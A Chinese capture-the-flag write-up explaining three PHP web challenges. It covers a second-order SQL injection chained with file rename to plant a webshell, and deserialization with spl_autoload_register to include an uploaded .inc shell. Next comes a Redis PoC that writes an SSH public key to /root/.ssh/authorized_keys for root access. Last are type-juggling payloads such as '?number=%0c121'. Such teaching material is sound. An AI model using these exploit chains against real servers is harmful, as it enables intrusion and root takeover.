自从三个白帽问世以后，收到了大家的喜欢，依托『三个白帽』乌云做了几次小竞赛，我也出了几道题。Writeup不全是大家普遍反映的问题，我这里把几道题的解题思路汇总一下。 这几道题的源代码与环境都在三个白帽的集市中，大家获取三个白帽的邀请码以后可以在集市中进行购买与启动。
0x00 二次注入+文件名修改导致getshell
本题是出现在XDCTF2015线下决赛中的题目之一，被我移植到三个白帽的环境中了。考察的是代码审计功底，和对于二次注入的利用。
入口：二次注入漏洞
此题入口点是二次注入。
在common.inc.php中可以看到全局进行了转义，这样常规注入少了大部分。遍观代码，输入处没有任何反转义、反解压、数字型等特殊情况，基本可以确定不存在直接的注入漏洞。 看到上传处的代码upload.php：
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$name=basename($file["name"]);
$path_parts=pathinfo($name);
if(!in_array($path_parts["extension"], ["gif","jpg","png","zip","txt"])) {
exit("error extension");
}
$path_parts["extension"] =".".$path_parts["extension"];
$name=$path_parts["filename"] .$path_parts["extension"];
$path_parts["filename"] =$db->quote($path_parts["filename"]);
$fetch=$db->query("select * from `file` where
`filename`={$path_parts['filename']}
and`extension`={$path_parts['extension']}");
if($fetch&&$fetch->fetchAll()) {
exit("file is exists");
}
if(move_uploaded_file($file["tmp_name"], UPLOAD_DIR .$name)) {
$re=$db->exec("insert into `file`
( `filename`, `view`, `extension`) values
( {$path_parts['filename']}, 0,'{$path_parts['extension']}')");
if(!$re) {
print_r($db->errorInfo());
exit;
}
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可见，上传的文件名走过的流程是：
$file['name'] -> pathinfo() –> $path_parts["filename"] -> quote() -> insert
由于经过了pdo的quote方法转义，所以此处也不存在注入。
再看到rename.php
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$result=$db->query("select * from `file` where `filename`='{$req['oldname']}'");
if($result) {
$result=$result->fetch();
}
if(!$result) {
exit("old file doesn't exists!");
}else{
$req['newname'] =basename($req['newname']);
$re=$db->exec("update `file` set
`filename`='{$req['newname']}',
`oldname`='{$result['filename']}'
where `fid`={$result['fid']}");
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根据$req['filename']从数据库里查询到已存在的一行，并调用update语句进行修改。
但这里oldname='{$result['filename']}' 将从数据库里查出的$result['filename']再一次入库，结果造成一个二次注入。
利用二次操作进行getshell
那么注入有什么用？
这应该是大家拿到题目，想到的第一个问题。这题明显与getshell有关，源码里包含文件上传、文件改名、文件删除等函数。
我们来一个个分析。
首先upload.php是文件上传的操作，但可见上传处对文件进行了白名单验证：
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if(!in_array($path_parts["extension"], ["gif","jpg","png","zip","txt"])) {
exit("error extension");
}
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导致我们无法上传恶意文件。
其次是delete.php，这个文件其实是个烟雾弹，删除操作并不能利用。
再次是rename.php，这里明显是getshell的关键。
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$result=$db->query("select * from `file` where `filename`='{$req['oldname']}'");
if($result) {
$result=$result->fetch();
}
if(!$result) {
exit("old file doesn't exists!");
}else{
$req['newname'] =basename($req['newname']);
$re=$db->exec("update `file` set
`filename`='{$req['newname']}',
`oldname`='{$result['filename']}'
where `fid`={$result['fid']}");
if(!$re) {
print_r($db->errorInfo());
exit;
}
$oldname= UPLOAD_DIR .$result["filename"] .$result["extension"];
$newname= UPLOAD_DIR .$req["newname"] .$result["extension"];
if(file_exists($oldname)) {
rename($oldname,$newname);
}
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最重要的就是后面这5行。
Oldname和newname，有几个特点：
- 后缀相同，都是$result[‘extension’]
- oldname的文件名来自数据库，newname的文件名来自用户输入
首先后缀相同这个特点，就导致getshell似乎难以完成，如果要getshell那么一定要将“非.php”后缀的文件重命名成“.php”的文件。后缀相同怎么重命名？
除非后缀为空！
所以我们的update型注入就开始派上用场了。通过update型注入，我们可以将数据库中extension字段的值改为空，同时也可以控制filename的值，那么等于说我能控制rename函数的两个参数的值，这样getshell就近在咫尺了。
但还有个坑，这里改名的时候检查了文件是否存在：if(file_exists($oldname))
我虽然通过注入修改了filename的值，但我upload目录下上传的文件名是没有改的。
因为我利用注入将extension改为空了，那么实际上数据库中的filename总比文件系统中真是的文件名少一个后缀。
那么这里的file_exists就验证不过。怎么办？
简单啊，再次上传一个新文件，这个文件名就等于数据库里的filename的值就好了。
所以最后整个getshell的流程，实际上是一个二次注入 + 二次操作getshell.
具体操作
1.选择文件上传
2.rename造成注入：
3.上传真正包含webshell的文件x.jpg
4.重命名进行getshell：
5.成功
0x01 反序列化+auto_register导致的代码执行
本题考察的是PHP反序列化碰上auto_register导致的安全问题。
找到源码
目标 http://24caf446e2bb0e659.jie.sangebaimao.com/
首先扫描发现其包含.git目录，但访问/.git/index发现没有这个文件，可能是被破坏了。
用lijiejie的工具无法还原，但用某些工具还是可以办到的，详见我之前的文章：https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
就不再赘述，用某工具直接还原源码：
getshell
首先通读源码，发现有几个特点：
- 可以上传任意文件，后缀有黑名单检查，文件名是随机字符串md5值
- 数据存储于cookie中，通过php反序列化函数还原并显示
其实考察点比较有意思。
看到common.inc.php里，包含spl_autoload_register函数，这个函数是自动注册类用的，在当今特别是新型的框架（laravel、composer）中常用。
这个函数有个特点，如果不指定处理用的函数，就会自动包含“类名.php”或“类名.inc”的文件，并加载其中的“类名”类。
这就比较有意思了，我们之前的黑名单是不包括“.inc”文件的，所以我们可以按照下面方法进行getshell：
1.上传webshell，后缀为.inc，被重命名为xxxx.inc
2.序列化一个类名为xxxx的类对象
3.将序列化以后的字符串作为cookie，发送到服务器上
4.服务器反序列化这个字符串后，将会自动加载xxxx类，由于之前spl_autoload_register函数注册的方法，会自动加载xxxx.inc，从而造成文件包含漏洞，getshell成功
在网站根目录的flag-1.php中获得第一个flag。
利用本地redis提权
拿到webshell以后，查看一下服务器的一些敏感信息。
比如在phpinfo里看到了，session的处理方式用的redis，并且save_path里暴露了redis的端口和密码：
于是可以利用这段时间比较火的redis写公钥文件进行提权。
直接编写一个redis.php，用php来连接redis，执行redis写公钥的POC：
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<?php
$redis=newRedis();
$redis->connect('127.0.0.1', 21821);
$redis->auth("Tat141uIyX8NKU");
$redis->flushall();
$redis->config("SET","dir","/root/.ssh/");
$redis->config("SET","dbfilename","authorized_keys");
$redis->set("0","/n/n/nssh-rsa key_pub/n/n/n");
$redis->save();
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连接其ssh端口，直接获取root权限。
读取/root/flag-2.txt获得第二个flag。
0x02 PHP类型与逻辑+fuzz与源代码审计
本题考察了PHP类型与变量的特点，与参赛选手对于一个『不明白』的问题的解决方案（fuzz或阅读源码）。
源码如下
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<?php
if(isset($_GET['source'])){
highlight_file(__FILE__);
exit;
}
include_once("flag.php");
/*
shougong check if the $number is a palindrome number(hui wen shu)
*/
functionis_palindrome_number($number) {
$number=strval($number);
$i= 0;
$j=strlen($number) - 1;
while($i<$j) {
if($number[$i] !==$number[$j]) {
returnfalse;
}
$i++;
$j--;
}
returntrue;
}
ini_set("display_error", false);
error_reporting(0);
$info="";
$req= [];
foreach([$_GET,$_POST]as$global_var) {
foreach($global_varas$key=>$value) {
$value= trim($value);
is_string($value) &&is_numeric($value) &&$req[$key] =addslashes($value);
}
}
$n1=intval($req["number"]);
$n2=intval(strrev($req["number"]));
if($n1&&$n2) {
if($req["number"] !=intval($req["number"])) {
$info="number must be integer!";
}elseif($req["number"][0] =="+"||$req["number"][0] =="-") {
$info="no symbol";
}elseif($n1!=$n2) {//first check
$info="no, this is not a palindrome number!";
}else{//second check
if(is_palindrome_number($req["number"])) {
$info="nice! {$n1} is a palindrome number!";
}else{
if(strpos($req["number"],".") === false &&$n1< 2147483646) {
$info="find another strange dongxi: ". FLAG2;
}else{
$info="find a strange dongxi: ". FLAG;
}
}
}
}else{
$info="no number input~";
}
?>
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在题目上线前，我已经让部分人测试过，当时大家找到了一些解决方法。
之前没有这句话$req["number"] != intval($req["number"])，所以大家有很多方法可以解决这个问题，比如1x10、01.1
于是我加了上面这句判断，这样就可以限制这些解法。现在说一下最终得到的三种解决方案。
利用整数溢出绕过
这是最简单的方法，用的是php的整数上限。借用下 @蓝加白 写的writeup（条理清晰，思路很好）。
首先，看一下源代码。发现要找到FLAG，必须要满足以下三个条件：
- number = intval(number)
- intval(number) = intval(strrev(number))
- not a palindorme number
貌似第二个条件和第三个条件冲突了，但是我们可以利用intval函数的限制：
http://php.net/manual/zh/function.intval.php
看一下解释：最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例，在这样的系统上， intval('1000000000000') 会返回 2147483647。64 位系统上，最大带符号的 integer 值是 9223372036854775807。
从上面我们可以知道，intval函数还依赖操作系统，很明显测试的环境系统是64位，所以应该选：9223372036854775807。
但有个问题，它的回文数明显小于64位系统的限制，所以我们想到前面加个0；
最终payload: http://f2ed13418097d206c.jie.sangebaimao.com/?number=09223372036854775807
利用浮点数精度绕过
这是 @玉林嘎 提出来的解决方案。
我来说一下原理。首先在电脑上测试下面的php代码：
可见，在小数小于某个值（10^-16）以后，再比较的时候就分不清大小了，这与php内部储存浮点数的机制有关。
在计算机里，是不能精确表示某个浮点数的。比如1.0，通常情况下储存在计算机里的数值是1.000000000000xxx，是一个十分接近1.0的数。
所以，我们在执行这个if语句的时候if ($req["number"] != intval($req["number"]))，会先将右值转换成整数，再与左值比较。而左值是一个浮点数（1.000000000000001），所以右值又会被隐式地强制转换成浮点数1.0
那么1.0和1.000000000000001究竟是否相等呢？
因为我前面说的特性，1.0其实也不是精准的1.0，所以php在比较的时候是不能精准比较浮点数的，所以它会『忽略』比10的-16次方更小的部分，然后就会认为左值和右值相等。
回到CTF中，利用这个特性，我们构造1000000000000000.00000000000000010，即可绕过第一个if语句，并且拿到flag。
函数特性导致绕过
这个特性涉及到php『数字类』函数的一个特性。什么函数？包括is_numeric和intval等包含数字判断及转换的函数。
is_numeric为例，我们先来看他的源代码：
可见我画框的部分，is_numeric函数在开始判断前，会先跳过所有空白字符。这是一个特性。
也就是说，is_numeirc(" /r/n /t 1.2")是会返回true的。
同理，intval(" /r/n /t 12")，也会正常返回12。
这就完成了一半。但有的同学又问了，题目获取$req['number']的时候明明使用trim过滤了空白字符的呀？
我们再看到trim的源码：
掰指头算一下，这里过滤的空白字符和之前跳过的空白字符有什么区别？
少了一个"/f"，嘿嘿。
于是我们可以引入/f（也就是%0c）在数字前面，来绕过最后那个is_palindrome_number函数，而对于前面的数字判断，因为intval和is_numeric都会忽略这个字符，所以不会影响。
最后通过payload: http://f2ed13418097d206c.jie.sangebaimao.com/?number=%0c121 拿到第二个flag：
- 左青龙
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- 右白虎
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